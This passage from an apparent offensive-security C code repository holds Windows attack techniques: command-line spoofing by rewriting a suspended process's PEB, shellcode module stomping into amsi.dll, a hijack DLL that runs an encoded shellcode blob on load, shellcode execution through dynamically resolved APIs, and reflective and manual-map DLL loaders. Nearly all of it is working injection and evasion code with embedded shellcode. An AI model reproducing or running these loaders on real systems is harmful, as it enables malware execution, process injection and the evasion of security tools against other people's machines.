wchar_t new_szCmdlineUnicode[0x2000] = {0}; 70 | PEB remotePeb; 71 | 72 | // prepare fake cmdline. 73 | for (size_t i = 2; i < argc; i++) 74 | { 75 | wcscat(new_szCmdlineUnicode, argv[i]); 76 | wcscat(new_szCmdlineUnicode, L"\x20"); 77 | } 78 | 79 | if (CreateProcessW(0, argv[1], 0, 0, false, CREATE_SUSPENDED, 0, 0, &SI, &PI)) 80 | if (GetThreadContext(PI.hThread, &CTX)) 81 | { 82 | printf("[+] lookup where RTL_USER_PROCESS_PARAMETERS at (from PEB)\n"); 83 | ReadProcessMemory(PI.hProcess, LPVOID(CTX.Rbx), &remotePeb, sizeof(remotePeb), 0); 84 | 85 | printf("[+] fetch current page memory of the param struct\n"); 86 | auto rtlParamShouldAt = LPVOID(remotePeb.ProcessParameters); 87 | m_RTL_USER_PROCESS_PARAMETERS *disguiseRtlParam = readFullPage_RtlusrProcParam(PI.hProcess, rtlParamShouldAt); 88 | refresh_allocSizeOfUsrProcParam(PI.hProcess, rtlParamShouldAt, disguiseRtlParam->MaximumLength); 89 | 90 | printf("[+] preparing new unicode struct for the cmdline\n"); 91 | memcpy((void *)((size_t)disguiseRtlParam + disguiseRtlParam->Length), new_szCmdlineUnicode, wcslen(new_szCmdlineUnicode) * 2 + 2); 92 | disguiseRtlParam->CommandLine.Buffer = (LPWSTR)((size_t)rtlParamShouldAt + disguiseRtlParam->Length); 93 | disguiseRtlParam->CommandLine.Length = wcslen(new_szCmdlineUnicode) * 2; 94 | disguiseRtlParam->CommandLine.MaximumLength = disguiseRtlParam->CommandLine.Length + 2; 95 | 96 | printf("[+] update RTL_USER_PROCESS_PARAMETERS in remote\n"); 97 | disguiseRtlParam->Length = disguiseRtlParam->MaximumLength; 98 | WriteProcessMemory(PI.hProcess, rtlParamShouldAt, disguiseRtlParam, disguiseRtlParam->MaximumLength, 0); 99 | 100 | printf("[+] run...\n--\n"); 101 | ResumeThread(PI.hThread); 102 | } 103 | return 0; 104 | } 105 | -------------------------------------------------------------------------------- /shellcode_module_stomping.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | unsigned char shellcode[] = 5 | // 64-bit meow-meow messagebox 6 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" 7 | "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" 8 | "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" 9 | "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" 10 | "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" 11 | "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" 12 | "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" 13 | "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" 14 | "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" 15 | "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" 16 | "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" 17 | "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" 18 | "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" 19 | "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" 20 | "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" 21 | "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" 22 | "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e" 23 | "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" 24 | "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" 25 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 26 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 27 | "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e" 28 | "\x2e\x2e\x5e\x3d\x00"; 29 | 30 | int main(int argc, char *argv[]) 31 | { 32 | HANDLE processHandle; 33 | PVOID remoteBuffer; 34 | wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll"; 35 | HMODULE modules[256]; 36 | SIZE_T modulesSize = sizeof(modules); 37 | DWORD modulesSizeNeeded = 0; 38 | SIZE_T modulesCount = 0; 39 | CHAR remoteModuleName[128]; 40 | HMODULE remoteModule = NULL; 41 | 42 | // 43 | PROCESS_INFORMATION pi; 44 | STARTUPINFOA Startup; 45 | ZeroMemory(&Startup, sizeof(Startup)); 46 | ZeroMemory(&pi, sizeof(pi)); 47 | 48 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 49 | WaitForSingleObject(pi.hProcess, 1 * 1000); 50 | // 51 | 52 | processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); 53 | 54 | remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE); 55 | WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL); 56 | PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryW"); 57 | HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL); 58 | WaitForSingleObject(dllThread, 1000); 59 | 60 | // find base address of the injected benign DLL in remote process 61 | EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded); 62 | modulesCount = modulesSizeNeeded / sizeof(HMODULE); 63 | for (size_t i = 0; i < modulesCount; i++) 64 | { 65 | remoteModule = modules[i]; 66 | GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName)); 67 | if (strcmp(remoteModuleName, "amsi.dll") == 0) 68 | { 69 | break; 70 | } 71 | } 72 | 73 | DWORD headerBufferSize = 0x1000; 74 | LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); 75 | ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL); 76 | 77 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer; 78 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew); 79 | LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule); 80 | 81 | // write shellcode to DLL's AddressofEntryPoint 82 | WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL); 83 | 84 | // execute shellcode from inside the benign DLL 85 | CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL); 86 | 87 | 88 | 89 | return 0; 90 | } -------------------------------------------------------------------------------- /misc/dll_for_hijacking.c: -------------------------------------------------------------------------------- 1 | // Dll Hijacking via Thread Creation 2 | // Author - Vivek Ramachandran 3 | // Learn Pentesting Online -- http://PentesterAcademy.com/topics and http://SecurityTube-Training.com 4 | // Free Infosec Videos -- http://SecurityTube.net 5 | 6 | #include 7 | 8 | unsigned char buf[] = 9 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 10 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 11 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 12 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 13 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 14 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 15 | "\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 16 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 17 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 18 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 19 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 20 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 21 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 22 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 23 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 24 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 25 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 26 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 27 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 28 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 29 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 30 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 31 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 32 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 33 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 34 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 35 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 36 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 37 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 38 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 39 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 40 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 41 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 42 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 43 | 44 | DWORD WINAPI ThreadFunction(LPVOID lpParameter) 45 | { 46 | 47 | LPVOID newMemory; 48 | HANDLE currentProcess; 49 | SIZE_T bytesWritten; 50 | BOOL didWeCopy = FALSE; 51 | 52 | // Get the current process handle 53 | currentProcess = GetCurrentProcess(); 54 | 55 | // Allocate memory with Read+Write+Execute permissions 56 | newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 57 | 58 | if (newMemory == NULL) 59 | return -1; 60 | 61 | // Copy the shellcode into the memory we just created 62 | didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten); 63 | 64 | if (!didWeCopy) 65 | return -2; 66 | 67 | // Yay! Let's run our shellcode! 68 | ((void (*)())newMemory)(); 69 | 70 | return 1; 71 | } 72 | 73 | BOOL WINAPI 74 | DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) 75 | { 76 | 77 | HANDLE threadHandle; 78 | 79 | switch (dwReason) 80 | { 81 | case DLL_PROCESS_ATTACH: 82 | 83 | // Create a thread and close the handle as we do not want to use it to wait for it 84 | 85 | threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL); 86 | CloseHandle(threadHandle); 87 | 88 | break; 89 | 90 | case DLL_PROCESS_DETACH: 91 | // Code to run when the DLL is freed 92 | break; 93 | 94 | case DLL_THREAD_ATTACH: 95 | // Code to run when a thread is created during the DLL's lifetime 96 | break; 97 | 98 | case DLL_THREAD_DETACH: 99 | // Code to run when a thread ends normally. 100 | break; 101 | } 102 | return TRUE; 103 | } -------------------------------------------------------------------------------- /shellcode_createthread_dinvoke.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dinvoke.h" 3 | 4 | unsigned char buf[] = 5 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 6 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 7 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 8 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 9 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 10 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 11 | "\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 12 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 13 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 14 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 15 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 16 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 17 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 18 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 19 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 20 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 21 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 22 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 23 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 24 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 25 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 26 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 27 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 28 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 29 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 30 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 31 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 32 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 33 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 34 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 35 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 36 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 37 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 38 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 39 | 40 | typedef LPVOID(WINAPI *VirtualAlloc_t)( 41 | LPVOID lpAddress, 42 | SIZE_T dwSize, 43 | DWORD flAllocationType, 44 | DWORD flProtect); 45 | 46 | typedef VOID(WINAPI *RtlMoveMemory_t)( 47 | VOID UNALIGNED *Destination, 48 | const VOID UNALIGNED *Source, 49 | SIZE_T Length); 50 | 51 | typedef HANDLE(WINAPI *CreateThread_t)( 52 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 53 | SIZE_T dwStackSize, 54 | LPTHREAD_START_ROUTINE lpStartAddress, 55 | __drv_aliasesMem LPVOID lpParameter, 56 | DWORD dwCreationFlags, 57 | LPDWORD lpThreadId); 58 | 59 | typedef DWORD(WINAPI *WaitForSingleObject_t)( 60 | HANDLE hHandle, 61 | DWORD dwMilliseconds); 62 | 63 | typedef enum AppPolicyWindowingModel { 64 | AppPolicyWindowingModel_None, 65 | AppPolicyWindowingModel_Universal, 66 | AppPolicyWindowingModel_ClassicDesktop, 67 | AppPolicyWindowingModel_ClassicPhone 68 | } AppPolicyWindowingModel ; 69 | 70 | typedef LONG(WINAPI *AppPolicyGetWindowingModel_t)( 71 | HANDLE processToken, 72 | AppPolicyWindowingModel *policy); 73 | 74 | int main(void) 75 | { 76 | RtlMoveMemory_t MyRtlMoveMemory = (RtlMoveMemory_t)(ULONG_PTR)RfGetProcAddressA( 77 | RfGetModuleHandleW(L"ntdll.dll"), 78 | "RtlMoveMemory"); 79 | VirtualAlloc_t VirtualAlloc = (VirtualAlloc_t)(ULONG_PTR)RfGetProcAddressA( 80 | RfGetModuleHandleW(L"kernEl32.DLL"), 81 | "VirtualAlloc"); 82 | CreateThread_t CreateThread = (CreateThread_t)(ULONG_PTR)RfGetProcAddressA( 83 | RfGetModuleHandleW(L"KERNEL32.DLL"), 84 | "CreateThread"); 85 | WaitForSingleObject_t WaitForSingleObject = (WaitForSingleObject_t)(ULONG_PTR)RfGetProcAddressA( 86 | RfGetModuleHandleW(L"KERNEL32.DLL"), 87 | "WaitForSingleObject"); 88 | 89 | void *buf_routine = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 90 | 91 | MyRtlMoveMemory(buf_routine, buf, sizeof(buf)); 92 | 93 | HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)buf_routine, 0, 0, 0); 94 | WaitForSingleObject(th, INFINITE); 95 | 96 | return 0; 97 | } -------------------------------------------------------------------------------- /loadlibrary_reflective_dll.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | DWORD64 rva_to_offset(DWORD64 rva, DWORD64 base_address) 6 | { 7 | PIMAGE_NT_HEADERS64 nt_headers_address = (PIMAGE_NT_HEADERS64)(base_address + ((PIMAGE_DOS_HEADER)base_address)->e_lfanew); 8 | 9 | DWORD64 section_virtual_address; 10 | DWORD64 section_data_address; 11 | 12 | PIMAGE_SECTION_HEADER section_header_address = IMAGE_FIRST_SECTION(nt_headers_address); 13 | if (rva < section_header_address->PointerToRawData) // if pointer to pe header 14 | return rva; 15 | 16 | for (; section_header_address->VirtualAddress != (DWORD64)NULL; section_header_address++) 17 | { 18 | // rva = virtual_address + virtual_address_offset 19 | // rva + raw_address = virtual_address + virtual_address_offset + raw_address 20 | // rva - virtual_address + raw_address = raw_address + virtual_address_offset 21 | if (rva >= section_header_address->VirtualAddress && rva < (section_header_address->VirtualAddress + section_header_address->SizeOfRawData)) 22 | return rva - section_header_address->VirtualAddress + section_header_address->PointerToRawData; 23 | } 24 | return 0; 25 | } 26 | 27 | DWORD64 get_reflective_loader_offset(DWORD64 base_address, LPCSTR ReflectiveLoader_name) 28 | { 29 | DWORD64 function_rva; 30 | PIMAGE_NT_HEADERS64 nt_headers_address = (PIMAGE_NT_HEADERS64)(base_address + ((PIMAGE_DOS_HEADER)base_address)->e_lfanew); 31 | 32 | IMAGE_DATA_DIRECTORY exports_data_directory = nt_headers_address->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 33 | 34 | PIMAGE_EXPORT_DIRECTORY export_directory = (PIMAGE_EXPORT_DIRECTORY)(base_address + rva_to_offset(exports_data_directory.VirtualAddress, base_address)); 35 | 36 | DWORD* export_function_rva_address = (DWORD*)(base_address + rva_to_offset(export_directory->AddressOfFunctions, base_address)); 37 | DWORD* export_function_name_rva_address = (DWORD*)(base_address + rva_to_offset(export_directory->AddressOfNames, base_address)); 38 | WORD* export_function_ordinal_rva_address = (WORD*)(base_address + rva_to_offset(export_directory->AddressOfNameOrdinals, base_address)); 39 | 40 | for(int n = 0; n < export_directory->NumberOfNames; n++) 41 | { 42 | char *export_function_name = (char *)(base_address + rva_to_offset(export_function_name_rva_address[n], base_address)); 43 | 44 | if (!strcmp(export_function_name, ReflectiveLoader_name)) 45 | { 46 | function_rva = export_function_rva_address[export_function_ordinal_rva_address[n]]; 47 | return rva_to_offset(function_rva, base_address); 48 | } 49 | } 50 | 51 | return 0; 52 | } 53 | 54 | int main(int argc, char *argv[]) 55 | { 56 | // // setup 57 | 58 | PROCESS_INFORMATION pi; 59 | STARTUPINFOA Startup; 60 | ZeroMemory(&Startup, sizeof(Startup)); 61 | ZeroMemory(&pi, sizeof(pi)); 62 | 63 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 64 | WaitForSingleObject(pi.hProcess, 1 * 1000); 65 | 66 | // // 67 | DWORD dwOldProt; 68 | 69 | // get dll into virtual memory 70 | HANDLE file_handle = CreateFileA("dll_reflective_loader_64.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 71 | DWORD64 file_size = GetFileSize(file_handle, NULL); 72 | LPVOID file_buf = HeapAlloc(GetProcessHeap(), 0, file_size); 73 | ReadFile(file_handle, file_buf, file_size, NULL, NULL); 74 | 75 | DWORD64 reflective_loader_offset = get_reflective_loader_offset((DWORD64)file_buf, "ReflectiveLoader"); 76 | 77 | HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pi.dwProcessId); 78 | 79 | LPVOID remote_file_buf_address = VirtualAllocEx(process_handle, NULL, file_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 80 | printf("address %p\n", remote_file_buf_address + reflective_loader_offset); 81 | 82 | WriteProcessMemory(process_handle, remote_file_buf_address, file_buf, file_size, NULL); 83 | VirtualProtectEx(process_handle, remote_file_buf_address, file_size, PAGE_EXECUTE_READ, &dwOldProt); 84 | 85 | DWORD64 reflective_loader_address = (DWORD64)remote_file_buf_address + reflective_loader_offset; 86 | 87 | HANDLE thread_handle = CreateRemoteThread(process_handle, 0, 0, (LPTHREAD_START_ROUTINE)reflective_loader_address, 0, 0, 0); 88 | WaitForSingleObject(thread_handle, -1); 89 | 90 | TerminateProcess(pi.hProcess, 0); 91 | 92 | printf("done."); 93 | 94 | return 0; 95 | } 96 | -------------------------------------------------------------------------------- /manualmap_dll_loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | typedef struct BASE_RELOCATION_BLOCK { 5 | DWORD PageAddress; 6 | DWORD BlockSize; 7 | } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; 8 | 9 | typedef struct BASE_RELOCATION_ENTRY { 10 | USHORT Offset : 12; 11 | USHORT Type : 4; 12 | } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; 13 | 14 | typedef BOOL(WINAPI *DLLEntry)(HINSTANCE dll, DWORD reason, LPVOID reserved); 15 | 16 | int main() 17 | { 18 | // TODO: load into child process, not in itself 19 | // // setup 20 | 21 | PROCESS_INFORMATION pi; 22 | STARTUPINFOA Startup; 23 | ZeroMemory(&Startup, sizeof(Startup)); 24 | ZeroMemory(&pi, sizeof(pi)); 25 | 26 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 27 | WaitForSingleObject(pi.hProcess, 1 * 1000); 28 | 29 | // // 30 | 31 | // get this module's image base address 32 | PVOID imageBase = GetModuleHandleA(NULL); 33 | 34 | // load DLL into memory 35 | HANDLE dll = CreateFileA("Z:\\git\\offensive_c\\bin\\mylib_mainexec.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); 36 | DWORD64 dllSize = GetFileSize(dll, NULL); 37 | LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); 38 | DWORD outSize = 0; 39 | ReadFile(dll, dllBytes, dllSize, &outSize, NULL); 40 | 41 | // get pointers to in-memory DLL headers 42 | PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; 43 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); 44 | SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; 45 | 46 | // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere 47 | //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 48 | LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 49 | 50 | // get delta between this module's image base and the DLL that was read into memory 51 | DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; 52 | 53 | // copy over DLL image headers to the newly allocated space for the DLL 54 | RtlMoveMemory(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); 55 | 56 | // copy over DLL image sections to the newly allocated space for the DLL 57 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); 58 | for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) 59 | { 60 | LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); 61 | LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); 62 | RtlMoveMemory(sectionDestination, sectionBytes, section->SizeOfRawData); 63 | section++; 64 | } 65 | 66 | // perform image base relocations 67 | IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 68 | DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; 69 | DWORD relocationsProcessed = 0; 70 | 71 | while (relocationsProcessed < relocations.Size) 72 | { 73 | PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); 74 | relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); 75 | DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); 76 | PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); 77 | 78 | for (DWORD i = 0; i < relocationsCount; i++) 79 | { 80 | relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); 81 | 82 | if (relocationEntries[i].Type == 0) 83 | { 84 | continue; 85 | } 86 | 87 | DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; 88 | DWORD_PTR addressToPatch = 0; 89 | ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); 90 | addressToPatch += deltaImageBase; 91 | RtlMoveMemory((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); 92 | } 93 | 